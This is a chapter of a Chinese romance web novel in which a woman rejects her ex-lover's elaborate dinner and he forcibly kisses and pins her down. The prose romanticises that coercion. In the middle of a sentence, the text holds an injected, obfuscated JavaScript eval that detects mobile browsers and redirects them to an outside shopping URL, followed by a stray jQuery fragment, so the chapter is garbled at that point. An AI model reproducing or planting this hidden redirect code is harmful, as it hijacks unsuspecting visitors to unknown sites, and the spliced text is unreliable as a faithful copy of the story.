陆星遥洗了个澡,又睡了一觉,醒过来的时候已经是下午四点多。
王姨跟她的好姐妹出门旅游了,特意在微信里给她留了言,说要明天上午才会回来。
陆星遥下楼时,客厅里安安静静的没有人,厨房里却隐隐传来烟机开动的声音。
她推开厨房的门。岳历城站在那里。
干净帅气的男人穿一身浅灰色的家居服,劲拔挺直的腰间系一条卡通印花的小围裙,正拿着瓷碗打鸡蛋。
听见声响,他转过脸。看见是她,那双总是深沉难测的眼睛瞬间亮了起来。
“姐姐,等一下,吃饭。”
他的声音因为舌伤而含糊,却软得不像话。
陆星遥没说话,转身走向餐厅。
餐桌上已经摆了七道菜。糖醋小排色泽红亮油润,茶香慢炖五花肉肥瘦相间,春笋双椒羊肚菌清新雅致,凉拌藕片洁白剔透,蜂蜜桂花炖奶温润如玉……
每一样,从摆盘到色泽,都精准复刻了两个人记忆中的样子。
很快,岳历城又端出一盆色泽清嫩的莼菜鸡蛋汤。
“姐姐,吃饭。”
他给她盛好饭,又夹了一块糖醋小排、一箸凉拌藕片,放进她的餐盘里。
做完这一切,他才在她对面坐下,不说话,只用那双亮得惊人的眼睛望着她,等待她的评判。
陆星遥垂下眼,夹起排骨尝了一口,点点头,把骨头轻轻吐进骨碟。
岳历城屏住呼吸,上身无意识地向前倾着,像等待夸奖的狗狗。
“怎么样?”他的声音有些紧,满含期待。
陆星遥放下筷子,抬起眼,目光缓缓扫过满桌菜肴。
“还行。”她说,语气平静得像在评价一份外卖,“这些都是你做的?”
他立刻点头,素来气定神闲掌控全局的男人,此刻竟有些局促地抿了抿唇,手指无意识地摩挲着桌布边缘。
自从她离开,他一直都在检讨和改变自己。
他努力挣钱,让自己具有更多可以掌控局势的能力。
他坚持锻炼,让自己的身体变得更加强壮。
他甚至戴上了眼镜,学会了抽烟,只希望可以向她喜欢的类型更靠近一点。
严家毅说,现代好男人必须具备一手好厨艺。要想抓住女人的心,先要抓住她的胃。所以,他又学会了做菜。
这一刻,他已经准备了五年。
他急切需要得到她的认可。
看着男人期待的目光,陆星遥忽然极轻地笑了一下。那笑意根本就没到眼底,是浮在水面的冰。
“岳历城,”她身体微微前倾,目光直直刺向他,“你平时是不是挺闲的?”
岳历城没听明白,峻挺的眉毛疑惑地扬起,刚才还满怀期待的眼神变得犹疑起来。
“或者,”她嘴角的弧度加深,语气和眼神里的嘲讽已经毫不掩饰,“你请不起厨师了?”
话音落下,餐厅里一片死寂。只有窗外偶尔传来的鸟鸣,和墙上挂钟秒针走动的脚步声。
就在这刺人的安静中,岳历城脸上的期待和紧张,缓缓褪了下去。
他看着她,眼神从困惑,到难以置信,最后凝固成一种被冰水浸透的平静,“姐姐,你不喜欢我这样做?”
“你这样做的目的是什么?”
陆星遥端起酒杯抿了一口,酒精烧过喉咙,烧上眼眶,也烧掉了最后一点犹豫,“想用这种方式打动我?”
她声音很轻,却字字如刀,“学着我做饭,复刻我喜欢的味道,让我觉得你变了,变得体贴了,听话了,然后让我再次爱上你?”
她摇了摇头:“岳历城,我离开你从来都不是因为你不体贴不听话,而是,我厌倦了。”
她讥诮地勾起唇角:“你看,只不过是一顿饭而已,你为什么要做这么多道菜?每个人都有品尝不同味道的权利。吃饭是这样,感情也一样。”
“你长大了,就不要再做这么幼稚又没意义的事情了。”
“有些东西,丢了就是丢了,再怎么像也已经不是了。”
“你的眼睛长在前面,为什么总往后看呢?”
“洗衣做饭收拾屋子,这些事交给厨师保姆不行吗?你是岳历城,不是围着灶台转的普通人。你应该站在阳光里,而不是油烟里!”
陆星遥越说越快,越说越激动,像是要把积压了五年的情绪一口气倒空。
她的喉咙说到发疼,抓起酒杯猛灌一口。烈酒烧过食道,烧得她眼眶泛红,心脏狂跳。
她抬起被酒精烧红的眸子,一字一句,狠狠往他身上砸:“岳历城,去过你自己的人生吧。我早就从你的生命里走过去了。”
话音落下,房间里再次陷入灼人的安静。
岳历城沉默地看着她,看了很久。久到陆星遥以为时间已经停止了
然后,他忽然很轻地笑了一声。
这一刻,岳历城感觉自己的心被挖了出来。
这颗傻傻的心脏,还没有从四个小时前与她同床而卧的滚烫喜悦中跳出来,就被强行按进了冰冷的失望中。
她曾经对他说,她做的凉拌藕片之所以口感好,是因为焯水之后立刻放进冰水,藕片细胞受热膨胀,冰水会让细胞快速收缩,细胞壁紧绷不破裂,所以就会爽脆。
她是想吃凉拌人心吗?才会这样折磨他?
“姐姐,”他缓缓开口,每个字都像从血肉里挣出来的,带着血淋淋的绝望:“你说得对。有些东西,丢了就回不来了。”
他抬起眼,那双总是盛着示弱、委屈或愤怒的眸子,此刻深不见底,像暴风雨前沉寂的海。
“所以,”他顿了顿,声音低下去,却更沉,更重,“我不是在往回看。”
他身体微微前倾,隔着餐桌,目光像铰链一样锁死她。
“我是在,把我余生的每一天,都活成你的标本。”
他嘴角扯出一个极淡的、扭曲的弧度,那弧度里没有笑意,只有悲壮:“这样,即便你不在,这里依然到处都是你。这怎么是往后看呢?”
他停下来,深吸一口气,“这分明是……”
他的声音骤然压低,“我带着你,一起往前走。一直走到坟墓里,再也不分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983743|193199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离。”
他说着,忽然站起身,绕过餐桌,走到她面前。
啪——
他的手掌猛地撑在她的椅背上,高大的身影带着未散的油烟味和强烈的、不容抗拒的压迫感,将她完全笼罩在阴影里。
陆星遥被迫抬头,撞进他深渊一样的眼睛里。
“姐姐,这是我的归宿!”
他俯身,灼热的呼吸喷在她脸上,“从你五年前招惹我开始,我的归宿就只剩两个。”
他盯着她骤然收缩的瞳孔,一字一顿,掷地有声:“你,或者坟墓。”
话音未落,他已然低头吻了下来。
他的唇舌滚烫,带着伤口的粗糙触感,狠狠碾过她的嘴唇,像困兽在绝望中确认自己的最后一口食物,又像濒死者在汲取最后一口生气。
陆星遥脑中轰然一炸,猛地挣开,用尽全力甩出一巴掌!
清脆的响声在死寂的餐厅里炸开。
她起身就要走,岳历城大力把她一拉,又按回椅子上。
他的胸膛剧烈起伏,黑到吓人的眼睛紧紧盯住她。同时抬起手,用指腹抹过刺痛的嘴角。
他低头看着指尖那抹红色,勾起唇角,笑了。
“很疼。”他的声音嘶哑,却带着奇异的满足感,“但比过去五年的任何一天,都痛快。”
“姐姐……”他揪住她的衣领,“余生未来,就让我们这样折磨到死吧……”
他说着,低头又要来。
就在这时,房门突然被推开了,江云帆怒气冲冲地走进来。
江医生被眼前的景象气炸了:岳历城嘴角带血,眼神疯狂却亮得吓人。陆星遥脸色苍白地被他困在椅子上,却随时可能把大嘴巴子抽过去。
“岳历城!我TM就知道你又来找她了!她给你喂了春药吗?你一见她就发情?”
他大步上前,一把将岳历城从陆星遥身边扯开。
他捏住岳历城的下巴,强迫他张开嘴,看了看他的伤口,立刻气急败坏地骂起来:“缝了五针!线还没拆!就他妈还这么折腾!我医院这点口碑迟早得砸你手里!!”
他拽着岳历城的胳膊就往外拖,动作粗暴,没有丝毫商量的余地。
岳历城踉跄了一下,却没有反抗,只是一直看着陆星遥。
江云帆沿着他的视线,又把怒火烧到陆星遥身上:“陆小姐,我说话难听,但请你给我听好了,你要是还有点良心,要么立刻马上跟他和好,要么就滚回你的非洲大草原去!”
他顿了顿,深吸一口气,压住滔天的怒火:“别TM在这儿逗狗一样,忽远忽近地折磨他。”
院门被狠狠摔上了,紧接着车声响起,岳历城被江云帆带着再次去缝针了。
陆星遥扶着桌子坐下来,看着一桌精致的菜肴,像是在看一座座沉默的、华丽的坟墓。
渐渐地,夜色降临了,房间里陷入了黑暗。
她懒得去开灯。
一片漆黑之中,只有厨房的烟机指示灯,还亮着一点微弱的、猩红的光。
像一只不肯闭上的眼睛,静静地凝望着一切。